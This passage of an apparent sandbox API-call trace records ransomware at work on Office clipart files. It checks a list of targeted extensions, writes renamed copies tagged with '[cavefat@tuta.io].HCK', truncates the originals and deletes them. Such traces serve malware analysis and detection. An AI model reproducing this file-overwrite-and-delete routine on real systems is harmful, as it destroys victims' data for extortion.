lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.528] SetEndOfFile (hFile=0x398) returned 1 [0153.528] CloseHandle (hObject=0x398) returned 1 [0153.529] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.529] SetEndOfFile (hFile=0x300) returned 1 [0153.529] CloseHandle (hObject=0x300) returned 1 [0153.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0153.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.530] lstrlenW (lpString=".doc") returned 4 [0153.530] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.530] lstrlenW (lpString=".docx") returned 5 [0153.530] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.530] lstrlenW (lpString=".pdf") returned 4 [0153.530] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.530] lstrlenW (lpString=".xls") returned 4 [0153.530] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.530] lstrlenW (lpString=".xlsx") returned 5 [0153.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.530] lstrlenW (lpString=".ppt") returned 4 [0153.530] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.530] lstrlenW (lpString=".zip") returned 4 [0153.530] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.530] lstrlenW (lpString=".rar") returned 4 [0153.530] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.530] lstrlenW (lpString=".bz2") returned 4 [0153.530] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.530] lstrlenW (lpString=".7z") returned 3 [0153.530] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.530] lstrlenW (lpString=".dbf") returned 4 [0153.530] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.530] lstrlenW (lpString=".1cd") returned 4 [0153.530] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.531] lstrlenW (lpString=".jpg") returned 4 [0153.531] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.531] lstrlenW (lpString=".doc") returned 4 [0153.531] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.531] lstrlenW (lpString=".docx") returned 5 [0153.531] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.531] lstrlenW (lpString=".pdf") returned 4 [0153.531] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.531] lstrlenW (lpString=".xls") returned 4 [0153.531] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.531] lstrlenW (lpString=".xlsx") returned 5 [0153.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.531] lstrlenW (lpString=".ppt") returned 4 [0153.531] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.531] lstrlenW (lpString=".zip") returned 4 [0153.531] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.531] lstrlenW (lpString=".rar") returned 4 [0153.531] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.531] lstrlenW (lpString=".bz2") returned 4 [0153.531] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.531] lstrlenW (lpString=".7z") returned 3 [0153.531] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.531] lstrlenW (lpString=".dbf") returned 4 [0153.531] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.531] lstrlenW (lpString=".1cd") returned 4 [0153.531] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0153.531] lstrlenW (lpString=".jpg") returned 4 [0153.531] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.531] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.531] lstrlenW (lpString="AG00135_.GIF") returned 12 [0153.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0153.794] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2596) returned 1 [0153.794] CloseHandle (hObject=0x308) returned 1 [0153.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0153.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0154.446] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.446] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0154.624] GetLastError () returned 0x0 [0154.624] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa24, lpOverlapped=0x0) returned 1 [0154.642] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa30, lpOverlapped=0x0) returned 1 [0154.643] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.643] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.643] SetEndOfFile (hFile=0x308) returned 1 [0154.643] CloseHandle (hObject=0x308) returned 1 [0154.644] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.644] SetEndOfFile (hFile=0x30c) returned 1 [0154.645] CloseHandle (hObject=0x30c) returned 1 [0154.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.646] lstrlenW (lpString=".doc") returned 4 [0154.646] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.646] lstrlenW (lpString=".docx") returned 5 [0154.646] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.646] lstrlenW (lpString=".pdf") returned 4 [0154.646] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString=".xls") returned 4 [0154.646] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString=".xlsx") returned 5 [0154.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.646] lstrlenW (lpString=".ppt") returned 4 [0154.646] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.646] lstrlenW (lpString=".zip") returned 4 [0154.646] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString=".rar") returned 4 [0154.646] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString=".bz2") returned 4 [0154.646] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.646] lstrlenW (lpString=".7z") returned 3 [0154.646] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.646] lstrlenW (lpString=".dbf") returned 4 [0154.646] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.646] lstrlenW (lpString=".1cd") returned 4 [0154.646] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.646] lstrlenW (lpString=".jpg") returned 4 [0154.646] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.646] lstrlenW (lpString=".doc") returned 4 [0154.646] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0154.646] lstrlenW (lpString=".docx") returned 5 [0154.646] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0154.646] lstrlenW (lpString=".pdf") returned 4 [0154.646] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString=".xls") returned 4 [0154.646] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString=".xlsx") returned 5 [0154.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0154.646] lstrlenW (lpString=".ppt") returned 4 [0154.646] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.647] lstrlenW (lpString=".zip") returned 4 [0154.647] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0154.647] lstrlenW (lpString=".rar") returned 4 [0154.647] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0154.647] lstrlenW (lpString=".bz2") returned 4 [0154.647] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0154.647] lstrlenW (lpString=".7z") returned 3 [0154.647] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0154.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.647] lstrlenW (lpString=".dbf") returned 4 [0154.647] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0154.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.647] lstrlenW (lpString=".1cd") returned 4 [0154.647] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0154.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0154.647] lstrlenW (lpString=".jpg") returned 4 [0154.647] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0154.647] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.647] lstrlenW (lpString="AN01084_.WMF") returned 12 [0154.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0154.647] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1832) returned 1 [0154.647] CloseHandle (hObject=0x30c) returned 1 [0154.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0154.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0154.648] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.648] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0154.648] GetLastError () returned 0x0 [0154.648] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x728, lpOverlapped=0x0) returned 1 [0154.651] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x730, lpOverlapped=0x0) returned 1 [0154.652] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.652] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.652] SetEndOfFile (hFile=0x308) returned 1 [0154.652] CloseHandle (hObject=0x308) returned 1 [0154.653] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.653] SetEndOfFile (hFile=0x30c) returned 1 [0154.654] CloseHandle (hObject=0x30c) returned 1 [0154.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0154.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString=".doc") returned 4 [0154.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString=".docx") returned 5 [0154.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.655] lstrlenW (lpString=".pdf") returned 4 [0154.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString=".xls") returned 4 [0154.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.655] lstrlenW (lpString=".xlsx") returned 5 [0154.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.655] lstrlenW (lpString=".ppt") returned 4 [0154.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString=".zip") returned 4 [0154.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.655] lstrlenW (lpString=".rar") returned 4 [0154.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString=".bz2") returned 4 [0154.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString=".7z") returned 3 [0154.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString=".dbf") returned 4 [0154.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString=".1cd") returned 4 [0154.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString=".jpg") returned 4 [0154.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString=".doc") returned 4 [0154.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString=".docx") returned 5 [0154.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.655] lstrlenW (lpString=".pdf") returned 4 [0154.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString=".xls") returned 4 [0154.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.655] lstrlenW (lpString=".xlsx") returned 5 [0154.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.655] lstrlenW (lpString=".ppt") returned 4 [0154.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.655] lstrlenW (lpString=".zip") returned 4 [0154.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.655] lstrlenW (lpString=".rar") returned 4 [0154.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString=".bz2") returned 4 [0154.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.655] lstrlenW (lpString=".7z") returned 3 [0154.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.656] lstrlenW (lpString=".dbf") returned 4 [0154.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.656] lstrlenW (lpString=".1cd") returned 4 [0154.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0154.656] lstrlenW (lpString=".jpg") returned 4 [0154.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.656] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.656] lstrlenW (lpString="AN01174_.WMF") returned 12 [0154.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0154.656] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=27858) returned 1 [0154.656] CloseHandle (hObject=0x308) returned 1 [0154.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0154.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0154.657] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.658] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0154.658] GetLastError () returned 0x0 [0154.658] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0154.664] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0154.665] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.665] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.665] SetEndOfFile (hFile=0x394) returned 1 [0154.665] CloseHandle (hObject=0x394) returned 1 [0154.666] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 